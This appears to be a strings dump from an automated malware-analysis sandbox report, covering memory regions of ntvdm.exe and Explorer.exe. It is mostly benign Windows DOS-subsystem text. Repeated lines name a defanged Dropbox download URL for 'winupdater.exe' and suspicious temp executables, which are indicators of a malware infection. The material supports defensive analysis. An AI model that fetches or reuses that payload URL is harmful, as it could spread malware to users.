user32.dll

BIOS keyboard buffer overflow

hardware keyboard buffer overflow

%s Mouse %d.01 already installed

%s Mouse %d.01 installed

d:\xpsp\base\mvdm\softpc.new\host\src\nt_timer.c

d:\xpsp\base\mvdm\softpc.new\host\src\nt_eoi.c

C:\IBMBIO.SYS

C:\IO.SYS

C:\IBMDOS.SYS

C:\MSDOS.SYS

\ntio404.sys

\ntio411.sys

\ntio412.sys

\ntio804.sys

\ntio.sys

VJOY.DLL

%s %lxh

d:\xpsp\base\mvdm\softpc.new\host\src\nt_com.c

d:\xpsp\base\mvdm\softpc.new\host\src\config.c

Software\Microsoft\Windows NT\CurrentVersion\WOW\Console

\\.\$VDMLPT2

\\.\$VDMLPT3

\\.\$VDMLPT1

FONT.NT

\ega.cpi

d:\xpsp\base\mvdm\softpc.new\host\src\nt_fulsc.c

Drive %c:

Incompatible DOS diskette, C H R N = %d %d %d %d

\\.\A:

\\.\?:

d:\xpsp\base\mvdm\softpc.new\host\src\nt_event.c

WINDOWS VMM 4.0

WINDOWS NT 3.1

WINDOWS 386 3.0

WINDOWS 286 3.0

\_default.pif

d:\xpsp\base\mvdm\softpc.new\host\src\nt_det.c

VrRemoveOpenNamedPipeInfo

VrConvertLocalNtPipeName

VrAddOpenNamedPipeInfo

VrIsNamedPipeHandle

VrIsNamedPipeName

VrWriteNamedPipe

VrReadNamedPipe

midiOutShortMsg

midiOutLongMsg

WINMM.DLL

d:\xpsp\base\mvdm\softpc.new\host\src\nt_hosts.c

NtDeviceIoControlFile failed %x

d:\xpsp\base\mvdm\softpc.new\host\src\nt_sec.c

SoftPc: NtDeCommitVirtualMemory failed !!!! Status = %lx

NTVDMD.DLL

Check Keyboard Status

\ntdos404.sys

\ntdos411.sys

\ntdos412.sys

\ntdos804.sys

\ntdos.sys

demDosDispCall %s

config.nt

PIPE

%c:%sNUL

Software\Microsoft\Windows\CurrentVersion\Setup

Unimplemented SVC %d

Software\Microsoft\Windows NT\CurrentVersion\WOW\CmdLine

%s=%s%s /p %s\system32

%s=%3.3u,%3.3u,%s\system32\%s.sys%s

KEYB

\KEYBOARD.SYS

\KEYJ31.SYS

\KEY02.SYS

\KEY01.SYS

\KEYAX.SYS

%s,%d,%s

\KB16.COM

DosKeybIDs

System\CurrentControlSet\Control\Keyboard Layout\

DosKeybCodes

00000409

Software\Microsoft\Windows NT\CurrentVersion\WOW\Compatibility

Broken pipe

Inappropriate I/O control operation

Operation not permitted

ega.rom

vga.rom

v7vga.rom

bios4.rom

bios1.rom

profile.spc

.spcprofile

d:\xpsp\base\mvdm\softpc.new\host\src\x86_emm.c

CS:x IP:x OP:x x x x x

ntvdm.pdb

Ut.Ht$Ht

ItKIt9It.IIt

tK

HHt7Ht.Ht

YYt%F

SSSSSh

s*f;O%s$

V

t.HtHHt(Ht

GetCPInfo

NtEnumerateValueKey

NtOpenKey

ntdll.dll

RegCloseKey

RegQueryInfoKeyA

RegOpenKeyExA

GetConsoleOutputCP

GetSystemWindowsDirectoryA

GetWindowsDirectoryA

SetConsoleKeyShortcuts

VDMConsoleOperation

GetConsoleKeyboardLayoutNameA

EnumWindows

GetKeyState

VkKeyScanW

MapVirtualKeyA

GetKeyboardType

NtQueryValueKey

GetProcessHeap

ntvdm.exe

SoftPcEoi

cmdCheckTemp

cmdCheckTempInit

demIsShortPathName

'?--?1-?6-?:-??-??-:?-6?-1?--?1-?6-?:-??-:?-6?-1?--?--?1-?6-?:-??-:?-6?-1?

$$$(((---222888???

!"#$%&'(

SoftPC-AT Version 3

89:;?

autoexec.nt

00030

30333

?0?3???

!"#$%&'()

Userenv.dll

Software\Microsoft\Windows NT\CurrentVersion\Terminal Server

%SystemRoot%

\System32\command.com

%System%\ntvdm.exe

\\.\B:

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

%WinDir%

NTVDM.EXE

5.1.2600.5512 (xpsp.080413-2111)

Windows

Operating System

5.1.2600.5512

5The NTVDM CPU has encountered an illegal instruction."Internal error in NTVDM procedure.#NTVDM does not support a ROM BASIC.BFailure to allocate the requested number of Expanded Memory pages.*A continuous RESET state has been entered.,The CMOS file cmos.ram could not be created.,The CMOS file cmos.ram could not be updated.

LAn installation file required by NTVDM is missing, execution must terminate.

Insufficient memory resources.=The NTVDM CPU has encountered an unsupported 386 instruction.TThe EMM command line in your config.nt contains invalid parameters or syntax errors.5The NTVDM CPU has encountered an unhandled exception.t

MS-DOS program files must end with the extension .EXE, .COM, or .BAT.

vAn application has attempted to %s, which cannot be supported. This may cause the application to function incorrectly./directly access an incompatible diskette format

16 bit Windows Subsystem

VThe system file is not suitable for running MS-DOS and Microsoft Windows applications."Memory error during intialization.

Unable to lock for exclusive access. Another application may be using the drive. When the other application has finished using the drive you may retry the operation.

Drive %c: ZThe Application attempted to enable DOS graphics mode. DOS graphics mode is not supported.

Function failed$NTVDM has encountered a System Error*Driver does not support selected Baud Rate

ntvdm.exe_900_rwx_00000000_00010000:

C:\DOCUME~1\ADM\TEMPLA~1\2_MSUP~1.EXE

2_MSUP~1EXE

."/\[]:| =;,

c:\wina20.386

%WinDir%\SYSTEM32\COUNTRY.SYS

89:;?

1234567890-=

!@#$%^&*()_

789-456 1230.

!"#$%&,-./012

%WinDir%\SYSTEM32\COMMAND.COM

%File allocation table bad, drive %1

Invalid COMMAND.COM

!Press any key to continue . . .

Cannot execute %1

Error in EXE file

%WinDir%\TEMP\scs2.tmp

arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

OS=Windows_NT

PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

SYSTEMROOT=%WinDir%

TEMP=%WinDir%\TEMP

TMP=%WinDir%\TEMP

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

The resource was found at hXXp://dl.dropboxusercontent.com/u/15572473/winupdater.exe;

\COMMAND.COM

COMSPEC=\COMMAND.COM

BMicrosoft(R) Windows DOS

FCOMMAND [[drive:]path] [device] [/E:nnnnn] [/P] [/C string] [/MSG]

H [drive:]path Specifies the directory containing COMMAND.COM file.

N /MSG Specifies that all error messages be stored in memory. You

%Intermediate file error during pipe

Switches may be preset in the DIRCMD environment variable. Override

>Quits the COMMAND.COM program (command interpreter).

]Displays or sets a search path for executable files.

$B | (pipe)

%Displays the MS-DOS version.

LRecords comments (remarks) in a batch file or CONFIG.SYS.

key to continue...."

PATH=PROMPT=COMSPEC=DIRCMD=

.COM.EXE.BAT?VBAPWRHSvDANEDSG

%WinDir%\SYSTEM32

[]| =;"

ntvdm.exe_2296:

.text

`.data

.rsrc

KERNEL32.dll

NTDLL.DLL

ADVAPI32.dll

GDI32.dll

USER32.dll

SoftPC

mscoree.dll

Please contact the application's support team for more information.

GetProcessWindowStation

user32.dll

BIOS keyboard buffer overflow

hardware keyboard buffer overflow

%s Mouse %d.01 already installed

%s Mouse %d.01 installed

d:\xpsp\base\mvdm\softpc.new\host\src\nt_timer.c

d:\xpsp\base\mvdm\softpc.new\host\src\nt_eoi.c

C:\IBMBIO.SYS

C:\IO.SYS

C:\IBMDOS.SYS

C:\MSDOS.SYS

\ntio404.sys

\ntio411.sys

\ntio412.sys

\ntio804.sys

\ntio.sys

VJOY.DLL

%s %lxh

d:\xpsp\base\mvdm\softpc.new\host\src\nt_com.c

d:\xpsp\base\mvdm\softpc.new\host\src\config.c

Software\Microsoft\Windows NT\CurrentVersion\WOW\Console

\\.\$VDMLPT2

\\.\$VDMLPT3

\\.\$VDMLPT1

FONT.NT

\ega.cpi

d:\xpsp\base\mvdm\softpc.new\host\src\nt_fulsc.c

Drive %c:

Incompatible DOS diskette, C H R N = %d %d %d %d

\\.\A:

\\.\?:

d:\xpsp\base\mvdm\softpc.new\host\src\nt_event.c

WINDOWS VMM 4.0

WINDOWS NT 3.1

WINDOWS 386 3.0

WINDOWS 286 3.0

\_default.pif

d:\xpsp\base\mvdm\softpc.new\host\src\nt_det.c

VrRemoveOpenNamedPipeInfo

VrConvertLocalNtPipeName

VrAddOpenNamedPipeInfo

VrIsNamedPipeHandle

VrIsNamedPipeName

VrWriteNamedPipe

VrReadNamedPipe

midiOutShortMsg

midiOutLongMsg

WINMM.DLL

d:\xpsp\base\mvdm\softpc.new\host\src\nt_hosts.c

NtDeviceIoControlFile failed %x

d:\xpsp\base\mvdm\softpc.new\host\src\nt_sec.c

SoftPc: NtDeCommitVirtualMemory failed !!!! Status = %lx

NTVDMD.DLL

Check Keyboard Status

\ntdos404.sys

\ntdos411.sys

\ntdos412.sys

\ntdos804.sys

\ntdos.sys

demDosDispCall %s

config.nt

PIPE

%c:%sNUL

Software\Microsoft\Windows\CurrentVersion\Setup

Unimplemented SVC %d

Software\Microsoft\Windows NT\CurrentVersion\WOW\CmdLine

%s=%s%s /p %s\system32

%s=%3.3u,%3.3u,%s\system32\%s.sys%s

KEYB

\KEYBOARD.SYS

\KEYJ31.SYS

\KEY02.SYS

\KEY01.SYS

\KEYAX.SYS

%s,%d,%s

\KB16.COM

DosKeybIDs

System\CurrentControlSet\Control\Keyboard Layout\

DosKeybCodes

00000409

Software\Microsoft\Windows NT\CurrentVersion\WOW\Compatibility

Broken pipe

Inappropriate I/O control operation

Operation not permitted

ega.rom

vga.rom

v7vga.rom

bios4.rom

bios1.rom

profile.spc

.spcprofile

d:\xpsp\base\mvdm\softpc.new\host\src\x86_emm.c

CS:x IP:x OP:x x x x x

ntvdm.pdb

Ut.Ht$Ht

ItKIt9It.IIt

tK

HHt7Ht.Ht

YYt%F

SSSSSh

s*f;O%s$

V

t.HtHHt(Ht

GetCPInfo

NtEnumerateValueKey

NtOpenKey

ntdll.dll

RegCloseKey

RegQueryInfoKeyA

RegOpenKeyExA

GetConsoleOutputCP

GetSystemWindowsDirectoryA

GetWindowsDirectoryA

SetConsoleKeyShortcuts

VDMConsoleOperation

GetConsoleKeyboardLayoutNameA

EnumWindows

GetKeyState

VkKeyScanW

MapVirtualKeyA

GetKeyboardType

NtQueryValueKey

GetProcessHeap

ntvdm.exe

SoftPcEoi

cmdCheckTemp

cmdCheckTempInit

demIsShortPathName

'?--?1-?6-?:-??-??-:?-6?-1?--?1-?6-?:-??-:?-6?-1?--?--?1-?6-?:-??-:?-6?-1?

$$$(((---222888???

!"#$%&'(

SoftPC-AT Version 3

89:;?

autoexec.nt

00030

30333

?0?3???

!"#$%&'()

Userenv.dll

Software\Microsoft\Windows NT\CurrentVersion\Terminal Server

%SystemRoot%

\System32\command.com

%System%\ntvdm.exe

\\.\B:

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

%WinDir%

NTVDM.EXE

5.1.2600.5512 (xpsp.080413-2111)

Windows

Operating System

5.1.2600.5512

5The NTVDM CPU has encountered an illegal instruction."Internal error in NTVDM procedure.#NTVDM does not support a ROM BASIC.BFailure to allocate the requested number of Expanded Memory pages.*A continuous RESET state has been entered.,The CMOS file cmos.ram could not be created.,The CMOS file cmos.ram could not be updated.

LAn installation file required by NTVDM is missing, execution must terminate.

Insufficient memory resources.=The NTVDM CPU has encountered an unsupported 386 instruction.TThe EMM command line in your config.nt contains invalid parameters or syntax errors.5The NTVDM CPU has encountered an unhandled exception.t

MS-DOS program files must end with the extension .EXE, .COM, or .BAT.

vAn application has attempted to %s, which cannot be supported. This may cause the application to function incorrectly./directly access an incompatible diskette format

16 bit Windows Subsystem

VThe system file is not suitable for running MS-DOS and Microsoft Windows applications."Memory error during intialization.

Unable to lock for exclusive access. Another application may be using the drive. When the other application has finished using the drive you may retry the operation.

Drive %c: ZThe Application attempted to enable DOS graphics mode. DOS graphics mode is not supported.

Function failed$NTVDM has encountered a System Error*Driver does not support selected Baud Rate

ntvdm.exe_900_rwx_00010000_00090000:

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

%WinDir%\TEMP\scs2.tmp

89:;?

0WINDOWS MS-DOS STARTUP FILE

0CONFIG.SYS VS CONFIG.NT

0CONFIG.SYS IS NOT USED TO INITIALIZE THE MS-DOS ENVIRONMENT.

0CONFIG.NT IS USED TO INITIALIZE THE MS-DOS ENVIRONMENT UNLESS A

0IS INITIALIZED. TO DISPLAY CONFIG.NT/AUTOEXEC.NT INFORMATION, ADD

0THE COMMAND ECHOCONFIG TO CONFIG.NT OR OTHER STARTUP FILE.

0NTCMDPROMPT

0MS-DOS-BASED APPLICATION, WINDOWS RUNS COMMAND.COM. THIS ALLOWS THE

0TSR TO REMAIN ACTIVE. TO RUN CMD.EXE, THE WINDOWS COMMAND PROMPT,

0RATHER THAN COMMAND.COM, ADD THE COMMAND NTCMDPROMPT TO CONFIG.NT OR

0COMMAND.COM. IF YOU START AN APPLICATION OTHER THAN AN MS-DOS-BASED

0CONFIG.NT OR OTHER STARTUP FILE.

0WANT THE SYSTEM TO SUPPORT. 1

0AND LEAVE THE RESTS(IF AVAILABLE) TO BE USED BY DOS TO SUPPORT

0WITH YOUR APPLICATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE

D%WinDir%\SYSTEM32\HIMEM.SYS

Q001,437,%WinDir%\SYSTEM32\COUNTRY.SYS

S%WinDir%\SYSTEM32\COMMAND.COM

/P %WinDir%\SYSTEM32

ATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE

DEVICE=%WinDir%\SYSTEM32\HIMEM.SYS

COUNTRY=001,437,%WinDir%\SYSTEM32\COUNTRY.SYS

SHELL=%WinDir%\SYSTEM32\COMMAND.COM /P %WinDir%\SYSTEM32

%WinDir%\SYSTEM32\COUNTRY.SYS

[]| =;"

%WinDir%\TEMP\scs1.tmp

%WinDir%\SYSTEM32\COMMAND.COM

NTCMDPROMPTT

Unrecognized command in CONFIG.SYS

Insufficient memory for COUNTRY.SYS file

Incorrect order in CONFIG.SYS line $Error in CONFIG.SYS line $WARNING! Logical drives past Z: exist and will be ignored

1234567890-=

!@#$%^&*()_

789-456 1230.

!"#$%&,-./012

00030

30333

?0?3???

Windows NT MS-DOS subsystem Mouse Driver

/)()(00)(

/@%}-{.Nb#b

!Press any key to continue . . .

%Intermediate file error during pipe

Switches may be preset in the DIRCMD environment variable. Override

>Quits the COMMAND.COM program (command interpreter).

]Displays or sets a search path for executable files.

$B | (pipe)

%Displays the MS-DOS version.

LRecords comments (remarks) in a batch file or CONFIG.SYS.

key to continue...."

PATH=PROMPT=COMSPEC=DIRCMD=

.COM.EXE.BAT?VBAPWRHSvDANEDSG

%WinDir%\SYSTEM32\DOSX

NT.EXE

C:\DOCUME~1\ADM\TEMPLA~1\2_MSUP~1.EXE

nt.exe

DOSX.EXE

ntvdm.exe_900_rwx_000A0000_00020000:

66666666

6666666

6666666666666666

6666666676666666

6666667076666666

ntvdm.exe_900_rwx_000C9000_00013000:

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

OS=Windows_NT

PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

SYSTEMROOT=%WinDir%

TEMP=%WinDir%\TEMP

TMP=%WinDir%\TEMP

%System%\DOSX.EXE

%System%\mscdexnt.exe

VCDEX.DLL

%System%\redir

(load before dosx.exe)

C:\LANMAN.DOS

%System%\dosx

%System%\krnl386.exe

krnl386.exe

SYSTEM.INI

ntvdm.exe_900_rwx_000E8000_00008000:

00030

30333

?0?3???

Windows NT MS-DOS subsystem Mouse Driver

ntvdm.exe_900_rwx_00100000_00010000:

C:\DOCUME~1\ADM\TEMPLA~1\2_MSUP~1.EXE

2_MSUP~1EXE

."/\[]:| =;,

c:\wina20.386

%WinDir%\SYSTEM32\COUNTRY.SYS

89:;?

1234567890-=

!@#$%^&*()_

789-456 1230.

!"#$%&,-./012

%WinDir%\SYSTEM32\COMMAND.COM

%File allocation table bad, drive %1

Invalid COMMAND.COM

!Press any key to continue . . .

Cannot execute %1

Error in EXE file

%WinDir%\TEMP\scs2.tmp

arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

OS=Windows_NT

PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

SYSTEMROOT=%WinDir%

TEMP=%WinDir%\TEMP

TMP=%WinDir%\TEMP

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

The resource was found at hXXp://dl.dropboxusercontent.com/u/15572473/winupdater.exe;

\COMMAND.COM

COMSPEC=\COMMAND.COM

BMicrosoft(R) Windows DOS

FCOMMAND [[drive:]path] [device] [/E:nnnnn] [/P] [/C string] [/MSG]

H [drive:]path Specifies the directory containing COMMAND.COM file.

N /MSG Specifies that all error messages be stored in memory. You

%Intermediate file error during pipe

Switches may be preset in the DIRCMD environment variable. Override

>Quits the COMMAND.COM program (command interpreter).

]Displays or sets a search path for executable files.

$B | (pipe)

%Displays the MS-DOS version.

LRecords comments (remarks) in a batch file or CONFIG.SYS.

key to continue...."

PATH=PROMPT=COMSPEC=DIRCMD=

.COM.EXE.BAT?VBAPWRHSvDANEDSG

%WinDir%\SYSTEM32

[]| =;"

ntvdm.exe_2296_rwx_00000000_00010000:

C:\DOCUME~1\ADM\TEMPLA~1\51_MSU~1.EXE

51_MSU~1EXE

."/\[]:| =;,

c:\wina20.386

%WinDir%\SYSTEM32\COUNTRY.SYS

89:;?

1234567890-=

!@#$%^&*()_

789-456 1230.

!"#$%&,-./012

%WinDir%\SYSTEM32\COMMAND.COM

%File allocation table bad, drive %1

Invalid COMMAND.COM

!Press any key to continue . . .

Cannot execute %1

Error in EXE file

%WinDir%\TEMP\scsA.tmp

arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

OS=Windows_NT

PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

SYSTEMROOT=%WinDir%

TEMP=%WinDir%\TEMP

TMP=%WinDir%\TEMP

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

The resource was found at hXXp://dl.dropboxusercontent.com/u/15572473/winupdater.exe;

\COMMAND.COM

COMSPEC=\COMMAND.COM

BMicrosoft(R) Windows DOS

FCOMMAND [[drive:]path] [device] [/E:nnnnn] [/P] [/C string] [/MSG]

H [drive:]path Specifies the directory containing COMMAND.COM file.

N /MSG Specifies that all error messages be stored in memory. You

%Intermediate file error during pipe

Switches may be preset in the DIRCMD environment variable. Override

>Quits the COMMAND.COM program (command interpreter).

]Displays or sets a search path for executable files.

$B | (pipe)

%Displays the MS-DOS version.

LRecords comments (remarks) in a batch file or CONFIG.SYS.

key to continue...."

PATH=PROMPT=COMSPEC=DIRCMD=

.COM.EXE.BAT?VBAPWRHSvDANEDSG

%WinDir%\SYSTEM32

[]| =;"

ntvdm.exe_2296_rwx_00010000_00090000:

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

%WinDir%\TEMP\scsA.tmp

89:;?

0WINDOWS MS-DOS STARTUP FILE

0CONFIG.SYS VS CONFIG.NT

0CONFIG.SYS IS NOT USED TO INITIALIZE THE MS-DOS ENVIRONMENT.

0CONFIG.NT IS USED TO INITIALIZE THE MS-DOS ENVIRONMENT UNLESS A

0IS INITIALIZED. TO DISPLAY CONFIG.NT/AUTOEXEC.NT INFORMATION, ADD

0THE COMMAND ECHOCONFIG TO CONFIG.NT OR OTHER STARTUP FILE.

0NTCMDPROMPT

0MS-DOS-BASED APPLICATION, WINDOWS RUNS COMMAND.COM. THIS ALLOWS THE

0TSR TO REMAIN ACTIVE. TO RUN CMD.EXE, THE WINDOWS COMMAND PROMPT,

0RATHER THAN COMMAND.COM, ADD THE COMMAND NTCMDPROMPT TO CONFIG.NT OR

0COMMAND.COM. IF YOU START AN APPLICATION OTHER THAN AN MS-DOS-BASED

0CONFIG.NT OR OTHER STARTUP FILE.

0WANT THE SYSTEM TO SUPPORT. 1

0AND LEAVE THE RESTS(IF AVAILABLE) TO BE USED BY DOS TO SUPPORT

0WITH YOUR APPLICATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE

D%WinDir%\SYSTEM32\HIMEM.SYS

Q001,437,%WinDir%\SYSTEM32\COUNTRY.SYS

S%WinDir%\SYSTEM32\COMMAND.COM

/P %WinDir%\SYSTEM32

ATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE

DEVICE=%WinDir%\SYSTEM32\HIMEM.SYS

COUNTRY=001,437,%WinDir%\SYSTEM32\COUNTRY.SYS

SHELL=%WinDir%\SYSTEM32\COMMAND.COM /P %WinDir%\SYSTEM32

%WinDir%\SYSTEM32\COUNTRY.SYS

[]| =;"

%WinDir%\TEMP\scs9.tmp

%WinDir%\SYSTEM32\COMMAND.COM

NTCMDPROMPTT

Unrecognized command in CONFIG.SYS

Insufficient memory for COUNTRY.SYS file

Incorrect order in CONFIG.SYS line $Error in CONFIG.SYS line $WARNING! Logical drives past Z: exist and will be ignored

1234567890-=

!@#$%^&*()_

789-456 1230.

!"#$%&,-./012

00030

30333

?0?3???

Windows NT MS-DOS subsystem Mouse Driver

/)()(00)(

/@%}-{.Nb#b

!Press any key to continue . . .

%Intermediate file error during pipe

Switches may be preset in the DIRCMD environment variable. Override

>Quits the COMMAND.COM program (command interpreter).

]Displays or sets a search path for executable files.

$B | (pipe)

%Displays the MS-DOS version.

LRecords comments (remarks) in a batch file or CONFIG.SYS.

key to continue...."

PATH=PROMPT=COMSPEC=DIRCMD=

.COM.EXE.BAT?VBAPWRHSvDANEDSG

%WinDir%\SYSTEM32\DOSX

NT.EXE

C:\DOCUME~1\ADM\TEMPLA~1\51_MSU~1.EXE

nt.exe

DOSX.EXE

ntvdm.exe_2296_rwx_000A0000_00020000:

66666666

6666666

6666666666666666

6666666676666666

6666667076666666

ntvdm.exe_2296_rwx_000C9000_00013000:

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

OS=Windows_NT

PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

SYSTEMROOT=%WinDir%

TEMP=%WinDir%\TEMP

TMP=%WinDir%\TEMP

%System%\DOSX.EXE

%System%\mscdexnt.exe

VCDEX.DLL

%System%\redir

(load before dosx.exe)

C:\LANMAN.DOS

%System%\dosx

%System%\krnl386.exe

krnl386.exe

SYSTEM.INI

ntvdm.exe_2296_rwx_000E8000_00008000:

00030

30333

?0?3???

Windows NT MS-DOS subsystem Mouse Driver

ntvdm.exe_2296_rwx_00100000_00010000:

C:\DOCUME~1\ADM\TEMPLA~1\51_MSU~1.EXE

51_MSU~1EXE

."/\[]:| =;,

c:\wina20.386

%WinDir%\SYSTEM32\COUNTRY.SYS

89:;?

1234567890-=

!@#$%^&*()_

789-456 1230.

!"#$%&,-./012

%WinDir%\SYSTEM32\COMMAND.COM

%File allocation table bad, drive %1

Invalid COMMAND.COM

!Press any key to continue . . .

Cannot execute %1

Error in EXE file

%WinDir%\TEMP\scsA.tmp

arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

OS=Windows_NT

PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

SYSTEMROOT=%WinDir%

TEMP=%WinDir%\TEMP

TMP=%WinDir%\TEMP

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

The resource was found at hXXp://dl.dropboxusercontent.com/u/15572473/winupdater.exe;

\COMMAND.COM

COMSPEC=\COMMAND.COM

BMicrosoft(R) Windows DOS

FCOMMAND [[drive:]path] [device] [/E:nnnnn] [/P] [/C string] [/MSG]

H [drive:]path Specifies the directory containing COMMAND.COM file.

N /MSG Specifies that all error messages be stored in memory. You

%Intermediate file error during pipe

Switches may be preset in the DIRCMD environment variable. Override

>Quits the COMMAND.COM program (command interpreter).

]Displays or sets a search path for executable files.

$B | (pipe)

%Displays the MS-DOS version.

LRecords comments (remarks) in a batch file or CONFIG.SYS.

key to continue...."

PATH=PROMPT=COMSPEC=DIRCMD=

.COM.EXE.BAT?VBAPWRHSvDANEDSG

%WinDir%\SYSTEM32

[]| =;"

Explorer.EXE_888_rwx_00FF0000_00001000:

|C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps